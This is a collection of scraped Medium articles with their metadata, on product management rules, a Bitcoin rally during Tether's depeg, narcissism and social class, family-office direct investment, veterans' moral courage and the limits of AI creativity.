“Think” Time: While PMs are often overwhelmed with daily operational tasks and tactical responsibilities, it’s crucial for them to take some time to think about long-term prospects of the product, explore new markets, discover untapped opportunities, learn about alternative product solutions, and up-skill on product management techniques. PMs can use this time to think about product strategies or simply spend that time drawing inspirations from talking to people in other professions, watching a film and so on. Get the Market Segmentation Right!: Do your own market segmentation before making your product. Once you do this, focus your efforts on marketing the product to those specific consumer segments. Use common sense while naming your service, else face massive losses. How to accurately segment your market? Look at the market. Talk to prospective customers. Find groupings that match common needs, characteristics, and behaviour. Clarify Product Positioning: An essential starting point for solving many product management problems is a clear positioning statement; a one-line statement which you use to describe your product to anyone with minimal understanding of it. Creating a positioning statement forces you to figure out what you are best at, where you are in the hierarchy, and exactly what you are. How to write good product positioning statement? 1. Where do you provide value? 2. What are you the best at in the industry? 3. What exactly do you sell? Write it in as detail as you can and shorten it until you arrive at a single statement. Define and Align Your Roles and Responsibilities: Often, many organizations copy/paste the job description of product managers on job portals which can lead to significant misalignment and frustration. To avoid this, it’s important to build your definition of your role and responsibilities with the management, hiring managers, cross-functional teams, and arrive at a common ground. Most of the times, organizations are unaware of PMs duties and this is your opportunity to educate them on what you should be doing and why you should be doing it. Write It Down!: Your job as a PM is to document and clarify. Your PRDs and MRDs should be the go-to documents for anyone involved with the product’s development. Write about your audiences and the time-frame in which you need to serve them. Invite reviews and inputs and revise/update them whenever necessary. Make Sure You Have Clear Priorities: There are always more product ideas than there are resources to implement them. Have clear priorities so that teams and stakeholders know which high priority product you’re currently working on. To do this, create a list of High, Medium, Low priority items and further divide them under H1, H2, M1, M2, L1, L2, etc. Share this list with everyone and keep it updated. Be clear and agile just like water. Salespeople Don’t Just Want to Make Lots of Money: Salespeople are motivated primarily by winning. Money is simply a yardstick to keep score. Focusing on your product or service features and benefits without tying these directly to business value is a recipe for failure. Understanding what really motivates most salespeople will help win acceptance and drive more revenue for your products and services. Create a Culture of Openness: As a PM, you will not see all of the greatest dangers or opportunities yourself, so you must create a culture of openness within your company. Only open communication will ensure that dangers are avoided and opportunities are capitalized on. Align Your Product Strategy with the Company Strategy — Then Sell It: A PM can do this in three simple steps — 1. Understanding the company strategy: You can figure this out by talking to executives. 2. Aligning product strategy with company strategy: Your product strategy must support the company’s ability to deliver it else it will be deemed as wasteful. and, 3. Telling the strategy story and gaining executive support: Finally, unveil your product strategy to executives and ask for the resources you need to make it. Short, Standardized Cycle Times Drive Predictability: Predictability is more important than high productivity. Predictability means dependent organizations — internal and external — can plan with confidence. Knowing what gets prioritized and accepted into a development cycle gets released into production on time, every time. Find Market Problems Worth Solving: Instead of coming up with new ideas, invest time to clearly describe the problem you have identified and then imagine a world where it has been solved. See the product in the world instead of seeing the world through your product. Imagine a world where you have solved the problem — how did it change, did your product create any valuable impact on consumer’s life? If it did, then it’s worth building. If the solution seems impossible, sell that product’s vision to stakeholders. A Business Is Not a Democracy: As a PM, it’s your responsibility and not the engineers or sales teams to decide which features to add to your product. Doing so will lead to sub-optimal products that customers may never use, and from the business perspective, will lead to huge operational losses. But, you simply cannot issue edicts and expect everyone to follow because PM is a synthesis role; you need to make decisions about tradeoffs and compromises by consulting with all cross-functional teams. Agility Is Key to Product Management Success: Despite having little authority over product decisions, a PM can ensure his/her success by being flexible and having organizational agility. Flexibility means changing a course easily given a set of parameters. But, it does not mean caving in on every suggestion. You should know when to be firm and flexible. Managing organizational agility includes factors company size, company culture, where you fit into the organization chart and how you view your role within the organization. Essentially, it means communicating with stakeholders to move your initiatives forward. Tap Into Your Customers: In order to make the best decisions about product features, packaging, marketing messaging, etc., you need to tap into your customers and know what their underlying needs are. Doesn’t matter what you think, only your customers’ perception does as they’re the ones paying for your product. Integrate your customers’ perspectives via customer interviews, surveys, and testing your marketing messages/emails. Doing this will lead to creating a product that the customers really want. Determine Your Marketing Approach Early and Wisely: Determine your marketing approach early — at least twelve months prior to launch — and you will essentially avoid wasted energy, course correction, and effort with no return. It’s the difference between “product readiness” and “market readiness.” Instead of generating marketing buzz via “spray-gun marketing” and PR that management loves, focus on what/who influences your product, do they need trial period, what drives their buying decisions, your company’s current brand image, metrics that you use, and so on. Let the Customer End the Debate: PMs act as a debate moderates, often deciding what suggestions to take from different stakeholders. But this can often lead to disagreements and will result in a sub-optimal product that customers are unhappy with. One way to stop this debate is to equip yourself with real customer feedback from solid market research. After all, they’re the ones buying the product. Differentiation Isn’t Enough, You Have to Be Better: Product differentiation isn’t enough to compel a customer to switch from using your competitors’ product. You need to offer something “better” that provides the greatest value to the customers. To do this, focus on these 3 areas — 1. what customers want. 2. what you’re good at. 3. where competitors are weak. The intersection of these three is where you can define, develop and deploy a product that is more likely to succeed. Act Like a Child: The best way to get to the core of the customer’s pain points is to keep asking “Why.” By consistently asking this, you arrive at a core problem that will help you design a product that successfully solves the customers’ problems. (This is similar to the Five Why technique used in Lean Startup methodology.) Decide What You Are Going to Do and Not Do: Companies have limited resources and time and must decide which market segments to pursue and which to avoid. Companies in mature markets require more resources to better position their product while in an emerging market can provide better growth opportunities using fewer resources. Deciding what not to do is based on whether the market makes sense to the overall organizational goals and objectives. Trust and Leadership Through Good Relationships: Along with the technical skills, it’s important for PMs to have social skills which can help motivate and encourage cross-functional teams and facilitate better communication. One of the important skill that a PM should have is conflict management. By simply asking someone what they’re working on, you can establish a relationship with people and facilitate mutual trust and camaraderie. Great Execution Trumps a Great Product Idea: Focusing on execution is often challenging, especially for PMs because they have to make several small decisions when bringing new products to the market. They can be classified by — 1. Market, customer, product, and functionality 2. Sales and distribution 3. Usability 4. Technical, engineering, implementation, maintenance, and support. To overcome these problems, PMs must understand from where the derived requirements stem and solicit a good evaluation of trade-offs and downsides from experts in specific technical areas. Great execution is all about establishing the right requirements and goals for the product. Be All You Can Be: Despite having less authority, the one thing that PMs do have is influence and they can use this to act as a General Manager — usually responsible for all aspects of the business including the P&L (profit and loss) and revenue and growth goals. While thinking about the overall context of your product, consider analyzing market dynamics, customer and share of the market, business model, pricing and value, total customer experience and operational impact, product lifecycle management. I Can See Clearly Now: The Power of Transparency: Product creation is a high-speed, market-driven undertaking. PMs have to keep up with the constant stream of ideas from various stakeholders and one effective way to do this is to create a document that everyone has access to. This provides certain transparency and invites collaboration that can help teams work on projects effectively and allows you to go through the feedback loop, fail faster, and avoid wasting massive development costs. Always Be Learning: Keeping current in all trends — technology, business, industry, political, culture — requires a passionate desire to study. Doing so helps you create a better understanding of your job and live up to your stakeholders’ expectations. Talk to your teammates, learn a discipline that complements your skills, learn about your industry and expand to other industries. Learning is a life-long process and the more you do it, the more likely you’re able to create a product that will meet your customers’ expectations. These Are Our Rules. What Are Yours?: Rules are designed to prevent failure and, in particular, the repetition of failure. The majority of rules in the book emerged from the personal, observed, or near-failures of each rule’s author in bringing a successful product to market. The rules contained in this book can help by provoking you to think differently about how you do your job and manage your products. Now it’s time for you to make your own rules!

https://medium.com/@mayur9/learn-about-42-rules-of-product-management-in-13-minutes-f8e80e4009ac

['Mayur Patil']

2020-12-17 16:58:19.199000+00:00

['Product', 'Product Development', 'Product Design', 'Product Management', 'Startup']

Bitcoin Flash Rally As Tether Loses It’s Peg

In contrast, the Bitstamp chart reads only a 9% gain from 6200 to 6750. So what’s going on here I thought? It may have something to do with the fact that right now Tether is 3.5% off it’s dollar peg, trading at $0.965. This is what it would look like if the market were losing confidence in Tether. You would want to dump your Tether and exchange it for Bitcoin. Sponsorship Slot If you would like to earn crypto rewards for watching Chris’ videos then visit TheCryptoverse.show and then click on the “Get Paid To Watch” button, then there’s a 2 minute video that explains how it works. Continuing With The Show! If we look at Coinmarketcap we can compare it to TrueUSD… Or the Gemini dollar… Or the Dai stablecoin… And if you think I’m being dramatic regarding my comment about the market potentially losing confidence in Tether, take a look at Tether trading against the dollar on Kraken… It went all the way down to 85 cents, 15% off it’s peg. CoinDesk quoted that being an 18 month low for Tether. This is the fundamental problem with coins that gain their stability based on trust that the fiat currency backing them is actually there. Coins that are stabilized by algorithms like kUSD and Dai are preferable to me over Tether, Gemini Dollar and even Gold backed tokens. As a result of this flash rally Bitcoin shorts look a big right hook falling 24% during that 2 hour period. If we return to the daily chart for BTCUSD on Bitfinex… The big wick on this candle shows that the previous high along with the 240 day moving average provided strong resistance. However, the market has not given back all those gains as the price remains above the 80 day moving average which is bullish. I don’t see any point in me covering anything else today. I think it’d be a waste of time since this is the only thing people are going to want to know about.

https://medium.com/the-cryptoverse/bitcoin-flash-rally-as-tether-loses-its-peg-2b12389db632

[]

2018-10-16 19:26:01.783000+00:00

['Bitcoin', 'Investing', 'Blockchain', 'Cryptocurrency', 'Podcast']

Haiku 353

Sign up for Writers on Fire Community News By Writers on Fire Occasional missives for writers passionate about following the words to see where they may lead... The WOF group is an online writing group affiliated with The Nexus Generation community. Take a look

https://medium.com/writers-on-fire/haiku-353-ec7cc4a21ebe

['Zoe Day']

2020-12-23 07:14:41.845000+00:00

['Meditation', 'Joy', 'Mindfulness', 'Poetry', 'Haiku']

DEMEDICALIZED NARCISSISM: A PSYCHO-SOCIOLOGICAL COMMENTARY

DEMEDICALIZED NARCISSISM: A PSYCHO-SOCIOLOGICAL COMMENTARY My initial research is focused on the question, to which extent should we normalize and demedicalize narcissism. I proceed by explaining narcissism, it’s pathway through demedicalization, the provoking effect of social media, and conclude by doing some fortunetelling on near future. Defining Narcissism Freud, in his essay “On Narcissism” defines narcissism as an imbalance between “ego-libido” and “object-libido”. Object libido is the admiration directed towards the outer circle of the subject. And ego-libido is the hyper-amplified interest in self. Object libido and ego libido are inseparable until a person figures out the sexual power of self, meaning until adulthood emerges. The disproportionate development of ego and lack of societal acceptance as a person grows up causes narcissism to occur. As we grow up, our mistakes that had once seemed sympathetic becomes viewed as crucial. That is the reason why a person feels like s/he has to devalue other’s perceptions and feelings for the sake of one’s existence not being threatened. As the perception of “ me” strengthens, “they” diminish. For a narcist, there is no collective mind. The world is an indivisible field of “them” versus “myself”. The most distinguishing characteristic of a narcissistic personality is the constant validation s/he seeks from the outer circle, regardless of the nonchalant impression s/he adopts. A narcissist can not exist without a society to behold upon. On my terms, narcissism is the recklessness one feels against the outer world. Their sense of self is so filling that they do not presume the challenges or opportunities the outer world presents. In the context of medical sociology, I view narcissism as the key to explain high-income groups’ blindsidedness to diseases that occur amongst the poor. We witness narcissism each time a disease is classified as “tropical”, each time Tuberculosis is not considered as one of the leading causes of death, and each time we classify HIV as immoral. Humanity has made the habit of alienating subjects that are not directly related to themselves. High-income groups invent technologies to cure those diseases and then sell them to a couple of hospitals. As balance sheets look filled up, it is no one’s concern why 77 percent of registered HIV patients are black and Hispanic, most of them poor. As Farmer mentions, the only diseases popular culture mentions are the ones that affect high-income families. As the global agenda gets constituted solely on matters that affect high-income families, narcissism is getting rapidly demedicalized. Demedicalization Narcissism is the normal outcome of today’s consumerism. “Writers such as Wolfe and Lasch documented the rise of the cult of the individual, self-expression, self-admiration, and materialism as key to economic prosperity, happiness and success, away from traditional American societal values anchored in family and community” (Yakeley 2). Narcissism is not only a psychological disorder but an institutionalized deformity, and that is exactly how the disease is becoming demedicalized.. The strongest example of institutionalized narcissism was seen in the Heat Wave disaster where ten times more people were killed than the Bay Earthquake, yet the higher income groups thought the catastrophe was simply exaggerated and numbers were fabricated, because “Their victims are primarily social outcasts — the elderly, the poor, and the isolated — from whom we customarily turn away.” (Klinenberg 17). Even Mayor Daley himself tried to depict O’Donoghue’s factual death statistics so that the tourist economy would not get hurt. In a way this was a government normalisation of narcissism. However what Mayor did not see was, social injustice eventually diminishes macro-economy. A low SES person who does not reach a sufficient health level to work produces less output, therefore the “individual”s problem becomes a social problem. However, as Burris argues, concealment always seems easier than resistance. Today, most of the possible Narcissistic Personality Disorder diagnoses go unnoticed, simply because everyone has their own share of the disease.. The individualistic soul of the 21st century created a medical ideology on the “normative happiness.”. The current ideology of “happiness” ,which contemplates sadness as an unnatural feeling, inclines the person to be in the constant evaluation of their own happiness. Collectivity gets lost in translation and as a result, one’s own happiness becomes the ultimate goal of one’s life. This drives the person to eventually disregard any of the possible services that one can provide to others. However, lower SES groups are less disposed to narcissism, as their basic requirements for a living (overall health, housing, employment) is at more risk, they have less time to get attuned with this medical ideology of habitual happiness. The research was done by Hamilton and colleagues (1990) cited by Link and Phelan on “Social Conditions as Fundamental Causes of Disease” proves that lower SES groups are more responsive to their outer environment. Hamilton’s research shows that from the demographic of laid-off workers, those who belonged to lower SES groups were more likely to experience negative mental health problems. The income instability of Low SES groups tilts them towards being more responsive to the outer changes and transitions which come within those changes. Therefore there is less room for low SESindividuals to become narcissistic. Consumerism and Narcissism There is strong evidence of NPD in the upper-class/ elite echelons. The most prominent one is brand consumerism, where elites constantly battle to buy the newest bags, shoes, cars, clothes. The purchasing power of one strengthens the perception of belonging into a higher SES group. In a sense the logos on our clothes symbolize which “cult” we belong in. And the narcissist, who needs the higher perception of the outer community in order to stand still, buys tirelessly. The institutionalized narcissism automatically puts low SES citizens directly out of the system. Therefore social gaps widens and class conflicts emerge. In a fact, I find this situation as similar to Latino Paradox, where Latinos were surprisingly more advantageous in health compared to other minorities. And in the case of narcissism, low income controversially means being in lower risk group. Social Media and Narcissism One of the main tools that narcissism gets demedicalized is social media. The rise of social media created normalized ground for pretentious behavior. Social media grants a sense of false self-actualization, directly proportional with the quality of images uploaded.. As number of users on those platforms increase, the diversity of content does not increase societal sensitivity but rather everyone seeks out to stand out on those content tyranny. The ground it presents raises a culture where brands people wear and places they visit become more important than moral behavior, social capital is now measured with number of followers. Through my little anthropological research amongst the higher-echelon college students, I realized most location tags are ranging amongst “Mykonos”, “St. Tropez”, and “St. Barts”. The only time location tags are used is when high SES people visit different high SES places. Social media creates various cults where alikes comment on the pictures of alikes. As social segregation becomes more distinct on this technological medium, the rise of “visuals” degrade the value of true activism. It is possible to state that technology is the main ground to apply social control on narcissism. Who the current system benefits to? This current system definetely benefits big technology producers and pharmaceuticals, as well as psychiatrists. Apple and Samsung began to compete on photo quality, instead of software quality, because the common norm of narcissim is based on quality visuals. At the same time, as the norm of balanced mental wellbeing switched into a happiness dictatorship, psychiatrists are having their most profitable period of time.” ‘We have never seen demand for psychiatrists this high in our 30-year history,’ said Tommy Bohannon, who is the vice president of Merritt Hawkins, a physician recruiting firm. “(Brooks). Whereas, Prozac and Xanax took their places on emergency kits. In fact, according to APA’s statistics, there was a 64% increase on antidepressant usage between 1999 and 2004. Why we do not take a step back from narcissism? I believe the main reason behind why narcissism is demedicalized is due to it’s institutionalized background. Individuality is so strictly promoted by American government that the public views the sole alternative capitalism as communism. And most people prefer living with the extreme outcomes of capitalism to communal poverty of communism. As the wide range of governmental systems are divided to two, we are convinced to endure the “lesser evil”, and the “lesser evil” outcomes it produces. The Future If narcissism continues to get demedicalized, the disinterest social groups have against each other will increase even more. This means the fundamental cause theory will enter into an endless cycle. As poor will get poorer, rich will be busy with posting pictures. The only occasion that triggers a pragmatic narcist to do a favor would be either for admiration or a favorable return. My hypothesis is that in accordance with discrepancy theory, either world is going to eliminate who are not able to survive in the capitalist world, such as we have seen in Heat Wave disaster, or push them to work harder in order to earn a better place on the narcissistic world. And if the world is lucky enough, eventually the corona crisis might lead the world into becoming less self-concerned individuals before the narcissism gets full hold of all of us. Works Cited

https://medium.com/@aylizonur/demedicalized-narcissism-a-psycho-sociological-commentary-8d0894f3e221

[]

2020-11-25 18:21:54.759000+00:00

['Narcissism', 'Sociology', 'Psychology Behind']

I Write From My Heart So I Can Connect With Yours

I Write From My Heart So I Can Connect With Yours photo by author My nose isn’t that big in person. Just saying. Moving on … I treasure authentic connection. That’s why I read and write on Medium. I’m not interested in finding out “The Top 5 Android Apps of 2020” or the top 5 anything for that matter. If I was, I simply would google it and save the $50 per year Medium subscription cost. When I read articles, I’m looking for an authentic voice. The more authentic your voice is, the more interested I am in what you have to say and the more I benefit from your words. Because I feel your presence, your heart, your caring. That motivates me. I write authentically. Which translates to writing from my heart. I’ll never win a Pulitzer Prize for non-fiction writing. Fortunately, that’s not my intent. I’m happy I write well enough to get my message across in an authentic caring way.

https://medium.com/change-your-mind/i-write-from-my-heart-so-i-can-connect-with-yours-48cbd5a23571

['Art Bram']

2020-12-21 12:24:56.894000+00:00

['Life Lessons', 'Personal Development', 'Life', 'Connection', 'Writing']

Latest picks: In case you missed them:

Get this newsletter By signing up, you will create a Medium account if you don’t already have one. Review our Privacy Policy for more information about our privacy practices. Check your inbox Medium sent you an email at to complete your subscription.

https://towardsdatascience.com/latest-picks-data-quality-for-everyday-analysis-2066adf18c43

['Tds Editors']

2020-11-17 14:27:57.958000+00:00

['The Daily Pick', 'Towards Data Science', 'Data Science', 'Machine Learning', 'Editors Pick']

Direct Investment: Disrupting The 60:40 Portfolio

by Anne Szustek Talbot, VP of Content Innovation: It’s a strategy that can both drive the strategy and be the backbone of your portfolio. Direct investment in startups is a trend that has gained ground among private investors as of late, and for good reason. In addition to the SEC’s new guidelines on what defines an “accredited investor,” paving the way for more people to invest in private equity and venture capital, and the Labor Department’s rule changes allowing for retirement funds to invest in PE, investors have a new line to capitalize on direct investment. The investor gets the satisfaction and sense of ownership that comes with investing in a project from the ground floor — and with a good chance of getting some double-digit, market-beating returns to boot. Long only open to institutional investors such as pension funds or endowments, access to alternative asset classes such as direct investment in companies opens a venture capital-style approach to long-term investing that can help foster the development of new products and new businesses, all the while offering the opportunity to tap into a healthy source of yield with less correlation to what’s happening on Wall Street. Yet, perhaps the greatest potential benefit to direct investing in small businesses is one that offers returns beyond anything a bank can quantify: being able to make a direct impact in new, small businesses, helping to bolster the economy in a way that goes beyond stocks and bonds. Beating the 60:40 portfolio When it comes to putting together a retirement plan, the longstanding conventional wisdom is the 60:40 portfolio breakdown: three-fifths of that portfolio goes into equities, namely tracking the S&P 500; with the remainder going into Treasuries, considered to be the safest of bond investments. The asset allocation logic is thus: aim for a bit of returns and if things head south, those bonds will keep your retirement from going pear-shaped. Sounds straightforward enough. Yet if you’ve been up on your economic and financial news over the past decade or so, you’d know that a contrarian viewpoint on this topic has more or less become the investment go-to. Given quantitative easing and interest rates that have been grazing zero, bonds, while secure, aren’t exactly a place to get steady returns. If you hadn’t guessed, much about the present state of the markets defies conventional wisdom. For more than a decade now, the stable-yet-scanty returns on Treasuries and other high-rated bonds have left asset allocators on a search for yield that has gone across asset classes that push the boundaries of alternative investments, but of what is often considered a portfolio component. Fine wine, golf resorts, and vintage Lego sets have all been touted at some point as the latest hot source of yield to extract returns beyond what’s in the traditional 60:40 portfolio. Granted, your investment adviser might not think the contents of your now-Millennial child’s toy closet is the surest bet to plump up your retirement fund. Nonetheless, looking beyond what’s on the crawl on your Bloomberg or CNBC screen can make sound financial sense. Low interest rates aren’t going away anytime soon. While equities have pulled quite a bit of heft on their own, a diversified strategy is a sound tactic. Direct investing pays off Family offices, which cater to high-net-worth and ultra-high-net-worth clients, occupy a unique space in the investment landscape. Straddling the space between individuals planning for retirement and larger institutional investors such as pension funds that have to answer to boards and public scrutiny, they have both the financial resources and management leeway to try strategies that might be too outsized for the individual investor yet not quite vanilla enough to pass the muster of a pension board. Essentially, family offices can be investment pioneers. This entrepreneurial investment spirit is helping literal pioneers. Following the late 2000s recession, direct investment by family offices grew by 206 percent from 2010 to 2015, according to a recent study by data and research firm FINTRX. Over the past year, that amount grew 11 percent. Come 2020, roughly half of all family offices in the world make direct investments in companies, according to the study, which got a nod in a recent installment of New York Times columnist Paul Sullivan’s Wealth Matters vertical. “There’s been an incredible recovery in the stock market, but how do I commit more to the public markets when I’m looking at these valuations and it’s still a rocky road ahead?” asked Eric Becker, founder of Cresset Capital and longtime investor in healthcare companies, in the column. Private markets offer a source of alpha uncorrelated to what’s happening in the markets and the factors that influence them: say, geopolitics, pandemics, or natural disasters. What’s more, as Sullivan points out, some family offices are seeing the opportunity to make direct investments into startups as a way to give back to an industry that may have given their family its start. Beyond the charitable aspects, however, there is also institutional knowledge afoot. A family office has generations of insight into the sector into which they’re investing, giving a unique level of due diligence. This literal in-house savvy is parlaying into some smart early-stage investments. According to data from both the FINTRX study and from family office research service Campden Family Wealth, the lion’s share of single family office direct investments and venture capital have been made during early-stage and seed rounds — and not without some healthy returns. Campden’s survey showed an average 14 percent return on their venture investments during the year leading up to the study; direct investments garnered an average 17 percent. To more than 85 percent of the 110 representatives of ultra-high-net-worth families, these returns either met or exceeded their expectations. Avenues for direct investment The next question is: how can investors connect with direct investment opportunities? Startup incubators are a good place for family offices, registered investment advisers, and other accredited investors to seek out projects and startups whose goals and interests align with those of their portfolios. Does the idea of approaching a startup incubator still befuddle you? Take the approach that you’d take to identify sectors in which you’d be looking to make equities allocations. If, say, some sort of tech gadget would prove intriguing for example, look for an incubator that sponsors the development of future IPO-worthy gadgets. Often located either nearby — if not also working in tandem with — major research universities, these groups provide the business and management advice these scientists and engineers make to take their inventions beyond the prototype stage. For investors, this means the chance to get in on a project at its very beginning. For inventors, it’s getting the capital stream needed to keep on researching and perfecting. In essence, it’s a chance for family offices and other high-net-worth offices to pay it forward to the next generation of industrialists. Projects that help bolster industries that are either crucial to COVID-19 recovery, like healthcare, or will grow independently of economic winds, such as the military, can offer opportunities for positive returns now and into the next market cycle. Inventors and investors: They’re just one keystroke away from each other on the keyboard. Their goals align as well. Direct investment in innovation can offer more than a sizable gain in a portfolio. Putting money into the next great project helps plant the seed for more economic growth, helping economic recovery on several levels. Family offices and other private wealth institutions got their start from capitalizing on a good idea. Just because that’s how that family’s story started doesn’t mean that there can’t be another chapter.

https://medium.com/datadriveninvestor/direct-investment-disrupting-the-60-40-portfolio-7a302aa66407

[]

2020-09-12 12:09:40.688000+00:00

['Investing', 'Startup', 'Asset Management', 'Finance', 'Family Office']

I’m not affiliated with the organization Veterans for Responsible Leadership, but I fully agree…

I’m not affiliated with the organization Veterans for Responsible Leadership, but I fully agree with its goals as a combat veteran. As I read the recent New Yorker article about VFRL and its founder Dan Barkhuff, I was struck by this sentence: “Combat veterans learn that there are two kinds of courage — physical and moral.” This is 100% accurate in my experience. Being under fire, most soldiers do the right things. There are several ways we put it, but the bottom line is if there’s a bullet with your name on it, it’s time to go. What do you want to do, live forever? So you go out and execute. That’s physical courage. On the other hand, moral courage is doing the right things at the right times over time. That can get tougher, especially when it isn’t always clear the right thing to do. And trying to make the right choices as you get worn down by the non-stop stress of the situation you’re in. Challenges to moral courage factor into moral injury; in turn, that ties into PTSD. But that’s a topic for another day.

https://medium.com/the-daily-kerfuffle/im-not-affiliated-with-the-organization-veterans-for-responsible-leadership-but-i-fully-agree-189daa8f15ca

['Matthew Spira']

2020-12-20 15:28:58.452000+00:00

['Morality', 'Current Events', 'Veterans', 'Military', 'Politics']

by Martino Pietropoli

First thing in the morning: a glass of water and a cartoon by The Fluxus. Follow

https://medium.com/the-fluxus/tuesday-panic-29f78482d121

['Martino Pietropoli']

2017-07-18 09:29:15.739000+00:00

['Cartoon', 'Tuesday', 'Panic', 'Comics', 'Humor']

Your Love of Old Music Explains the Hard Problem of Artificial Creativity

A gallery of AI artists and their art. (Source: AIArtists.org) Your Love of Old Music Explains the Hard Problem of Artificial Creativity Our enduring musical preferences illustrate the challenge for AI. It returns as predictably as the seasons. Call it Bacon’s Comet: The idea that the age of creative AI is now upon us. Machines are not only accelerating discoveries (so the argument goes), they’re now making their own independent discoveries. And just in time, since the world is demonstrably more complex than feeble human minds could hope to comprehend. All of this is quite wrong. It’s been wrong for hundreds of years. In the 17th century, Francis Bacon claimed our only hope for liberation was an autonomous scientific method where knowledge emerges inductively from raw observations. He was wrong, but his idea retains all the commonsense appeal today that it once did. It was wrong in 1900, when Lord Kelvin remarked, “There is nothing new to be discovered in physics now. All that remains is more and more precise measurement.” It remained wrong when John Horgan popularized this same “evil idea” in The End of Science in 1996. It was wrong in 2008 when Chris Anderson celebrated the end of theory and the liberation of big data. And Bacon’s Comet is back again, this time riding contemplations on the end of physics and a host of compelling advancements in automated discovery. And yes, this idea is still wrong. But I don’t want to dwell on why it’s wrong. Instead, I want to celebrate why creativity remains a uniquely human pursuit. I’d like to discriminate between the ideas of applied and fundamental creativity, which in my mind illuminates the particular niche that today’s AI may soon dominate. I’ll start with a simple observation: Creativity consists of both novelty and constraints. The first part is obvious enough. When we create, we’re expanding the range of possible solutions to our problems. That’s the part most people associate with the concept of creativity. The second part is more subtle and certainly more difficult. There’s a massive scaffolding of evaluative criteria through which creativity is selected. My dog plays the piano. (True fact, and it’s adorable.) But his paw-banging doesn’t play within the constraints of creativity, so in no sense is he acting creatively. This contrast between creativity’s novel and (er) dogmatic aspects establishes a distinction between applied and fundamental creativity. We routinely create solutions within the established evaluative criteria of a given problem space: pop songs, advertisements, business franchises, movie sequels, incremental hypotheses, and on and on. What marks this large class of applied creative works is their derivative quality. They don’t break new ground as much as solve the narrow problems for which they were devised. Applied creativity is well within the realm of today’s AI, just as any narrow application. This is readily explained: The human creators may represent a search space of creative hypotheses for an AI to explore, incorporating the known evaluative constraints of the problem. (Here’s a recent example of a problem related to understanding human behavior during a pandemic.) An implication of this “searching for hypotheses” view is that the possible solutions exist prior to the search. Another implication is that there is a human mind hiding in the background providing a creative catalyst. Routinely, as the system designers are evaluating the results generated by their AI, they’ll notice a new evaluative basis that they didn’t think of before they started. It’ll surprise them and they may be quick to credit their system with the discovery. But while AI may alleviate some of their perspiration, humans still provide the inspiration, the creative spark. Not only is this applied approach readily explained, it’s readily demonstrated in AI-generated art. Admittedly, as emotive works, these examples of applied AI may be disconcerting. And if you harbor the idea that creative works are intrinsically different from other technical solutions, you may believe we’ve breached some monumental divide. But no, it’s still just applied AI. Applied human creativity is so commonplace it goes largely unnoticed. It certainly doesn’t prompt soul-crushing conversations about the inevitable exhaustion of human creativity, or the perceived need for AI to liberate us from our creative limits. Again, I’m all-in on the vision of creative AI. But why are we getting so triggered about these narrow examples? It helps to consider that fundamental creativity is much harder. These are your Einsteins, your Austens, your Picassos. These are the groundbreaking discoveries that are normally associated with the promise of AGI. These are the creations that not only introduce novelty, but novelty of a sort that forces us to reconsider the creative boundaries. Fundamental creations force a shift in the evaluative creative (even when some people don’t want them to move). Vexingly, the new creative criteria are not known in advance. And this difference explains why artificial creativity is presently out of reach. (Not always and necessarily as some would claim, but presently.) That’s all numbingly abstract, so let’s put the problem to music. Consider all the possible melodies that could be constructed on a musical scale. First, let’s reflect on the extent of this simple example: As the notes are combined and varied, the number of melodies rapidly increases to millions and trillions of possibilities. Often, the problem of creativity is falsely reduced to a problem of scale, which in turn suggests the idea that more data and computing power will inevitably rein in the problem. However, the scale of any given problem space isn’t the hard problem of creativity. If your goal is to create a fundamentally new type of music, how would you know, in advance, the new criteria by which a novel melody might be selected? And if your goal is to create something fundamentally new, how would you devise the new evaluative criteria that separates this AI masterpiece from my dog’s paw-banging? My favorite example of this musical riddle is known as the diabolus in musica (Latin for “the Devil in music”). It refers to a highly dissonant interval called a tritone. You’d recognize it immediately as Enter Sandman, Maria, or Purple Haze. But these melodies wouldn’t be selected during Medieval times. Not because they weren’t there in the problem space, but because the necessary evaluative criteria had not yet been selected. The Devil in music was steadfastly avoided. Contrasting the space of all possible melodies with evaluative criteria related to the tritone. This example of classical music and the tritone is one tiny example to illustrate the enormity of the creativity challenge, as a dynamic and emergent process. Consider your love of old music. Have you ever wondered why we still love the music we listened to back in high school? Our evaluative criteria are generally imprinted during adolescence and young adulthood. We tend thereafter to feel that music is getting worse, generation after generation, as new music evolves beyond our tastes. The old music embodies the criteria we value. New music embodies new criteria, as well as disregarding some of the old. If you like, you can even build a system that “proves” that the old music is better than the new, just by selecting for those features that privilege the old evaluative criteria. Apparently today’s songs are less melodically complex, more repetitive, they embody fewer chord changes, their dynamic range is narrower, and today’s artists are irredeemably self-involved (!). Of course, the quality of the music and the selective criteria cannot be explained in terms of these descriptive features. And of course, none of these analyses admit whatever new and largely inexplicit selective criteria may actually be active in our cultural communities. But misunderstandings about what constitutes a scientific argument are as rampant as misunderstandings of creativity. (Now get off my lawn, you kids!) I find this cultural impediment to creativity fascinating. I wonder how many great ideas have been hatched and summarily dismissed because they weren’t aligned with the prevailing culture. Artists working in isolation internalize the creative constraints of their community, embodying their own toughest critics. The pile of crumpled paper in the wastepaper basket is a testament to this process. The challenge isn’t so much in processes of creative variation (such as propping your dog up at the piano) as in the means for selection. Incidentally, this same environment-building challenge is what limits the reach of evolutionary approaches to the problem. In truth, no one understands how this complex interplay of psychological and social factors drives creativity. It’s mysterious and wonderful. When the conditions are right, at the nexus of a creative mind and the vagaries of their social circumstances, something fundamentally new and important emerges. It’ll happen again. Some genius working within the right community at the right time will solve the riddle of how creativity works. We’ll know because they’ll be able to explain it. And quickly thereafter, AI will be truly creative.

https://medium.com/datadriveninvestor/your-love-of-old-music-explains-the-hard-problem-of-artificial-creativity-57c693753ab3

['Peter Sweeney']

2020-12-03 15:35:19.935000+00:00

['Music', 'Philosophy', 'Artificial Intelligence', 'Science', 'Creativity']

heaHeat Pump vs. Furnace: Which Should You Choose

